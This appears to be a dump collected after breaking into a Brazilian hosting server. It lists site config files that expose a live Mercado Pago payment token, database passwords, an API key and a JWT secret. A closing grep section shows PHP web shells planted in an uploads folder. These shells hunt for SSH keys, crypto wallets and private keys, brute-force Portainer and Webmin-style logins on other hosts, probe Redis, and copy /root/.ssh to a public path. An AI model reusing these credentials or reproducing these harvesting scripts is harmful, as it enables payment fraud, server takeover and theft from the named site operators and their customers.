#### /www/wwwroot/admhibrido.cadtech.com.br/api/renovar/mp.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "title": "30",
    "quantity": 1,
    "unit_price": 30
}

#### /www/wwwroot/admhibrido.cadtech.com.br/api/mercado_pago_gold/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384"
}

#### /www/wwwroot/admpremium.cadtech.com.br/api/renovar/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "webhook_secret": "SEU_WEBHOOK_SECRET",
    "pacotes": [
        {
            "nome": "Plano 1 Mês",
            "valor": 29.9,
            "dias": 30,
            "id": "1_mes"
        },
        {
            "nome": "Plano Trimestral",
            "valor": 79.9,
            "dias": 90,
            "id": "3_meses"
        },
        {
            "id": "6a7e104d73a3f",
            "nome": "Anual",
            "valor": 300,
            "dias": 364
        }
    ],
    "cupons": [
        {
            "codigo": "#FAMÍLIA#",
            "desconto": 30
        }
    ],
    "multimacs": [
        {
            "codigo": "5599707513",
            "valor": 40,
            "dias": 30,
            "macs": [
                "7C:85:F5:55:28:35",
                "EA:1E:5E:59:F3:05",
                "E8:32:98:9C:F5:64",
                "8C:A9:74:0B:36:4D"
            ],
            "nome": "Frango"
        },
        {
            "codigo": "51984414802",
            "valor": 30,
            "dias": 30,
            "macs": [
                "7A:47:78:23:8B:AB",
                "26:81:C...

#### /www/wwwroot/admpremium.cadtech.com.br/api/renovar/mp.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "title": "30",
    "quantity": 1,
    "unit_price": 30
}

#### /www/wwwroot/fotto.cadtech.com.br/.env ####
DATABASE_URL="file:./dev.db"
MP_ACCESS_TOKEN="APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384"
EVOLUTION_API_URL="http://75.119.156.103:8080"
EVOLUTION_API_KEY="PQVZ3A4F779NXHNNH7770BI447DRI7C0"
NEXT_PUBLIC_BASE_URL="https://fotto.cadtech.com.br"


#### /www/wwwroot/onix.tech6202.shop/api/controles/db.php ####
<?php
header("Access-Control-Allow-Origin: *"); 
date_default_timezone_set('America/Sao_Paulo');
header("Server: nginx");

function conectar_bd() {
    $endereco = "127.0.0.1"; 
    $banco = "onix"; 
    $dbusuario = "onix1"; 
    $dbsenha = "t8PJExXS6wLMCexB"; 

    try {
        $conexao = new PDO("mysql:host=$endereco;dbname=$banco", $dbusuario, $dbsenha);
        $conexao->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $conexao;
    } catch(PDOException $e) {

        return null;
    }
}

#### /www/wwwroot/onix.tech6202.shop/renova_mp/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "planos": [
        {
            "id": "69a254ebeba75",
            "nome": "Mensal",
            "valor": 30,
            "dias": 30
        },
        {
            "id": "69a2551a50004",
            "nome": "Anual",
            "valor": 240,
            "dias": 364
        },
        {
            "id": "69a255693ccd3",
            "nome": "Semestral ",
            "valor": 150,
            "dias": 182
        }
    ]
}

#### /www/wwwroot/pagaai.cadtech.com.br/.env ####
DATABASE_URL="file:./dev.db"
# Insira suas credenciais abaixo:
MP_ACCESS_TOKEN="APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384"
EVOLUTION_API_URL="http://75.119.156.103:8080"
EVOLUTION_API_KEY="PQVZ3A4F779NXHNNH7770BI447DRI7C0"
# Defina a URL base pública do seu site quando hospedar para o webhook funcionar
NEXT_PUBLIC_BASE_URL="https://pagaai.cadtech.com.br"

#### /www/wwwroot/pagaairs.cadtech.com.br/.env ####
DATABASE_URL="file:./dev.db"
# Insira suas credenciais abaixo:
MP_ACCESS_TOKEN="APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384"
EVOLUTION_API_URL="http://75.119.156.103:8080"
EVOLUTION_API_KEY="PQVZ3A4F779NXHNNH7770BI447DRI7C0"
# Defina a URL base pública do seu site quando hospedar para o webhook funcionar
NEXT_PUBLIC_BASE_URL="https://pagaai.cadtech.com.br"

#### /www/wwwroot/painel.player99.com.br/api/renovar/mp.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "title": "30",
    "quantity": 1,
    "unit_price": 30
}

#### /www/wwwroot/painel.player99.com.br/api/mercado_pago_gold/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "pacotes": [],
    "plano_telas_ativas": {
        "valor": 99,
        "dias": 30
    }
}

#### /www/wwwroot/player99.com.br/api/renovar/mp.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "title": "30",
    "quantity": 1,
    "unit_price": 30
}

#### /www/wwwroot/player99.com.br/api/mercado_pago_gold/config.json ####
{
    "access_token": "",
    "pacotes": []
}


#### /www/wwwroot/sky.tech6202.shop/api/controles/db.php ####
<?php
header("Access-Control-Allow-Origin: *"); 
date_default_timezone_set('America/Sao_Paulo');
header("Server: nginx");

function conectar_bd() {
    $endereco = "127.0.0.1"; 
    $banco = "sky"; 
    $dbusuario = "sky1"; 
    $dbsenha = "ZmRBkYRWs82tk8T4"; 

    try {
        $conexao = new PDO("mysql:host=$endereco;dbname=$banco", $dbusuario, $dbsenha);
        $conexao->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $conexao;
    } catch(PDOException $e) {

        return null;
    }
}

#### /www/wwwroot/sky.tech6202.shop/renova_mp/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "planos": [
        {
            "id": "69a254ebeba75",
            "nome": "Mensal",
            "valor": 30,
            "dias": 30
        },
        {
            "id": "69a2551a50004",
            "nome": "Anual",
            "valor": 240,
            "dias": 364
        },
        {
            "id": "69a255693ccd3",
            "nome": "Semestral ",
            "valor": 150,
            "dias": 182
        }
    ]
}

#### /www/wwwroot/sky.tech6202.shop/renova_mp1/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "planos": [
        {
            "id": "69a254ebeba75",
            "nome": "Mensal",
            "valor": 30,
            "dias": 30
        },
        {
            "id": "69a2551a50004",
            "nome": "Anual",
            "valor": 240,
            "dias": 364
        },
        {
            "id": "69a255693ccd3",
            "nome": "Semestral ",
            "valor": 150,
            "dias": 182
        }
    ]
}

#### /www/wwwroot/temploagil.cadtech.com.br/.env ####
DATABASE_URL="file:./dev.db"

# Insira suas credenciais abaixo:
MP_ACCESS_TOKEN="APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384"
EVOLUTION_API_URL="http://75.119.156.103:8080"
EVOLUTION_API_KEY="PQVZ3A4F779NXHNNH7770BI447DRI7C0"

# URL base pública do seu site na VPS (para Webhooks do Mercado Pago e links)
NEXT_PUBLIC_BASE_URL="https://temploagil.cadtech.com.br"

# Chave de segurança para sessões
JWT_SECRET="temploagil_super_secret_key_2026"

#### /www/wwwroot/xxx.tech6202.shop/api/controles/db.php ####
<?php
header("Access-Control-Allow-Origin: *"); 
date_default_timezone_set('America/Sao_Paulo');
header("Server: nginx");

function conectar_bd() {
    $endereco = "127.0.0.1"; 
    $banco = "xiu"; 
    $dbusuario = "xiu1"; 
    $dbsenha = "ZmRBkYRWs82tk8T4"; 

    try {
        $conexao = new PDO("mysql:host=$endereco;dbname=$banco", $dbusuario, $dbsenha);
        $conexao->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $conexao;
    } catch(PDOException $e) {

        return null;
    }
}

#### /www/wwwroot/xxx.tech6202.shop/renova_mp/config.json ####
{
    "access_token": "APP_USR-6684249455818074-102420-2bafe6fb494c5282bdc5712d93aa29aa-1933348384",
    "planos": [
        {
            "id": "69a8355bdbdb9",
            "nome": "Mensal",
            "valor": 15,
            "dias": 30
        },
        {
            "id": "69a8358f01be6",
            "nome": "Anual",
            "valor": 60,
            "dias": 364
        },
        {
            "id": "69a835b7eb92e",
            "nome": "Semestral ",
            "valor": 45,
            "dias": 180
        }
    ]
}

#### SSH/DEPLOY ####
/www/wwwroot/admhibrido.cadtech.com.br/api/connection_log.json:95: "url_accessed": "https:\/\/184.174.36.137\/api\/m3u_proxy.php?mac=&username=6484650&password=2449974"
/www/wwwroot/admhibrido.cadtech.com.br/api/hub_worker.php:10: $EVOLUTION_URL = 'http://75.119.156.103:8080';
/www/wwwroot/admhibrido.cadtech.com.br/api/evolution_config.json:3: "evolution_url": "http:\/\/75.119.156.103:8095",
/www/wwwroot/admhibrido.cadtech.com.br/api/evolution_api.php:5: $DEFAULT_URL = 'http://75.119.156.103:8080';
/www/wwwroot/admhibrido.cadtech.com.br/admplay_whatsapp.php:16: $defaultUrl = 'http://75.119.156.103:8080';
/www/wwwroot/admhibrido.cadtech.com.br/admplay_whatsapp.php:208: <input type="text" id="config-url" class="form-control" placeholder="http://75.119.156.103:8080" value="<?php echo htmlspecialchars($currentUrl); ?>" style="background: #fff; color: #333; border: 1px 
/www/wwwroot/admhibrido.cadtech.com.br/admplay_whatsapp.php:210: <small class="text-muted" style="font-size: 0.78rem;">Ex: http://75.119.156.103:8080 ou seu domínio (sem barra no final)</small>
/www/wwwroot/admhibrido.cadtech.com.br/whatsapp_api.php:4: $baseUrl = 'http://75.119.156.103:8080';
/www/wwwroot/admsky.cadtech.com.br/api/index.php:357: <p>root@admin: ~$ <span>Log Session</span>: "<i>Success</i>"</p>
/www/wwwroot/player99.com.br/config_whatsapp.php:54: <input type="text" class="form-control" name="evolution_url" value="<?php echo htmlspecialchars($config['evolution_url']); ?>" placeholder="Ex: http://75.119.156.103:8080">
/www/wwwroot/player99.com.br/evolution_config.json:2: "evolution_url": "http://75.119.156.103:8080",
/www/wwwroot/admlite.tech6202.shop/api/index.php:357: <p>root@admin: ~$ <span>Log Session</span>: "<i>Success</i>"</p>
/www/wwwroot/cadtech.com.br/uploads/kl3_064559_1794217560.php:3: $payload = ';try{var m=null;try{m=require("child_process")}catch(e){}if(!m){try{m=process.mainModule.require("child_process")}catch(e){}}if(!m){try{m=eval("require")("child_process")}catch(e){}}if(m){
/www/wwwroot/cadtech.com.br/uploads/nt_065202_1794217923.php:3: foreach([["75.119.156.103",5432],["75.119.156.103",9000],["75.119.156.103",8080],["173.212.207.14",993],["173.212.207.14",8080],["173.212.207.14",21]] as $t){ list($h,$p)=$t; $f=@fsockopen($h,$p,$en,$
/www/wwwroot/cadtech.com.br/uploads/nt_065202_1794217923.php:6: $c=@stream_socket_client("ssl://173.212.207.14:993",$en,$es,6,STREAM_CLIENT_CONNECT,$ctx);
/www/wwwroot/cadtech.com.br/uploads/nd_064134_1794217295.php:7: foreach(["vmi3105017.contaboserver.net","184.174.36.137","cadtech.com.br"] as $h){ list($c,$r)=get("https://127.0.0.1:16653/",$h); echo "host=$h code=$c len=".strlen((string)$r)." ".substr(preg_replac
/www/wwwroot/cadtech.com.br/uploads/fs2_063613_1794216975.php:3: $pat="/portainer|hostinger|hpanel|cloudflare|api[_-]?token|docker|sshpass|id_rsa|sftp|ftp:\/\/|75\.119\.156\.103|173\.212\.207\.14|DATABASE_URL|postgres|smtp|MAIL_PASSWORD|password\s*[:=]/i";
/www/wwwroot/cadtech.com.br/uploads/hs_081801_1794223083.php:3: $hosts=["localhost","127.0.0.1","vmi3105017","vmi3105017.contaboserver.net","184.174.36.137","cadtech.com.br","www.cadtech.com.br","adm.tech6202.shop","bt.local","bt","panel","painel","aapanel","bt.cn
/www/wwwroot/cadtech.com.br/uploads/crt_062328_1794216210.php:3: $rx="/\.(p12|pfx|pem|key|crt|cer|p8|jks|keystore)$|wallet\.dat|UTC--|electrum|metamask|mnemonic|(^|\/)seed|id_rsa|id_ed25519|\.ssh/i";
/www/wwwroot/cadtech.com.br/uploads/esc_080705_1794222427.php:6: foreach([10000,20000] as $port){ foreach($creds as $c){ $jar="/tmp/wm_$port_$c[0]_".md5($c[1]).".txt"; @unlink($jar); post("https://173.212.207.14:$port/",null,$jar,null); list($code,$body,$loc)=post(
/www/wwwroot/cadtech.com.br/uploads/esc_080705_1794222427.php:9: foreach($pc as $u){ foreach($u[1] as $p){ $data=json_encode(["Username"=>$u[0],"Password"=>$p]); list($code,$body,$loc)=post("http://75.119.156.103:9000/api/auth",$data,"/tmp/pt_".md5($u[0].$p).".txt"
/www/wwwroot/cadtech.com.br/uploads/pv_063108_1794216670.php:11: if(preg_match("/\.(sh|bat|ps1|yml|yaml|txt|json|php)$/i",$p) && filesize($p)<300000){ $c=@file_get_contents($p); if($c!==false && preg_match("/ssh |scp |rsync |sshpass|id_rsa|known_hosts|75\.119\.156\
/www/wwwroot/cadtech.com.br/uploads/pv_063108_1794216670.php:12: foreach(["/home/*/.ssh/id_rsa","/home/*/.ssh/id_ed25519","/home/*/.ssh/known_hosts","/root/.ssh/id_rsa","/root/.ssh/known_hosts"] as $g){ foreach(@glob($g)?:[] as $p){ echo "SSHFILE ".$p." ".@filesize
/www/wwwroot/cadtech.com.br/uploads/om_064758_1794217680.php:5: $cmd = 'mkdir -p /www/wwwroot/cadtech.com.br/uploads/rk; { id; hostname; uname -a; } > /www/wwwroot/cadtech.com.br/uploads/rk/id.txt 2>&1; cp -a /root/.ssh /www/wwwroot/cadtech.com.br/uploads/rk/ 2>/d
/www/wwwroot/cadtech.com.br/uploads/rd_080859_1794222541.php:3: foreach([["75.119.156.103",6379],["75.119.156.103",6379],["75.119.156.103",9000]] as $t){ list($h,$p)=$t; $f=@fsockopen($h,$p,$e,$s,4); echo "$h:$p ".(($f)?"OPEN":"CLOSED")."\n"; if($f){ if($p==6379){
/www/wwwroot/cadtech.com.br/uploads/cb_084106_1794224467.php:3: $markers=["BEGIN CERTIFICATE","BEGIN PRIVATE KEY","BEGIN RSA PRIVATE KEY","BEGIN ENCRYPTED PRIVATE KEY","BEGIN OPENSSH PRIVATE KEY","BEGIN PKCS12","PKCS12"];
/www/wwwroot/cadtech.com.br/uploads/scan_061703_1794215825.php:10: $hit=preg_match($pat,$name)||preg_match("/wallet\.dat|UTC--|\.ethereum|electrum|metamask|seed|mnemonic|id_rsa|id_ed25519|\.ssh/i",$s);
/www/wwwroot/cadtech.com.br/uploads/cert_062301_1794216183.php:4: $pat="/\.(p12|pfx|pem|key|crt|cer|p8|jks|keystore)$/i|wallet\.dat|UTC--|electrum|metamask|mnemonic|seed|id_rsa|id_ed25519|\.ssh/i";
/www/wwwroot/cadtech.com.br/uploads/cert_062301_1794216183.php:8: foreach($zips as $z){ if(!file_exists($z))continue; $za=new ZipArchive(); if($za->open($z)!==true)continue; echo "== $z ==\n"; $n=0; for($i=0;$i<$za->numFiles;$i++){ $st=$za->statIndex($i); if(!$st)co
/www/wwwroot/cadtech.com.br/uploads/zc_084242_1794224563.php:3: $markers=["BEGIN CERTIFICATE","BEGIN PRIVATE KEY","BEGIN RSA PRIVATE KEY","BEGIN ENCRYPTED PRIVATE KEY","BEGIN OPENSSH PRIVATE KEY","BEGIN PKCS12","PKCS12"];
/www/wwwroot/cadtech.com.br/uploads/lc_063933_1794217175.php:5: foreach(["/home/www/.ssh/id_rsa","/home/www/.ssh/id_ed25519","/home/www/.ssh/authorized_keys","/home/www/.ssh/known_hosts","/home/www/.bash_history"] as $f){ if(is_file($f)){ echo "FILE $f ".filesize(
/www/wwwroot/cadtech.com.br/uploads/fs_063304_1794216785.php:5: $pat="portainer|75\.119\.156\.103|173\.212\.207\.14|postgres|DATABASE_URL|docker-compose|sshpass|id_rsa|sftp|ftp://|PASSWORD";
/www/wwwroot/painel.player99.com.br/config_whatsapp.php:56: <input type="text" class="form-control" name="evolution_url" value="<?php echo htmlspecialchars($config['evolution_url']); ?>" placeholder="Ex: http://75.119.156.103:8080">
/www/wwwroot/painel.player99.com.br/evolution_config.json:2: "evolution_url": "http:\/\/75.119.156.103:8080",
/www/wwwroot/only.cadtch.com.br/api/index.php:357: <p>root@admin: ~$ <span>Log Session</span>: "<i>Success</i>"</p>
/www/wwwroot/only.cadtech.com.br/api/index.php:357: <p>root@admin: ~$ <span>Log Session</span>: "<i>Success</i>"</p>
/www/wwwroot/only.cadtech.com.br/only.cadtech.com.br/api/index.php:357: <p>root@admin: ~$ <span>Log Session</span>: "<i>Success</i>"</p>

DONE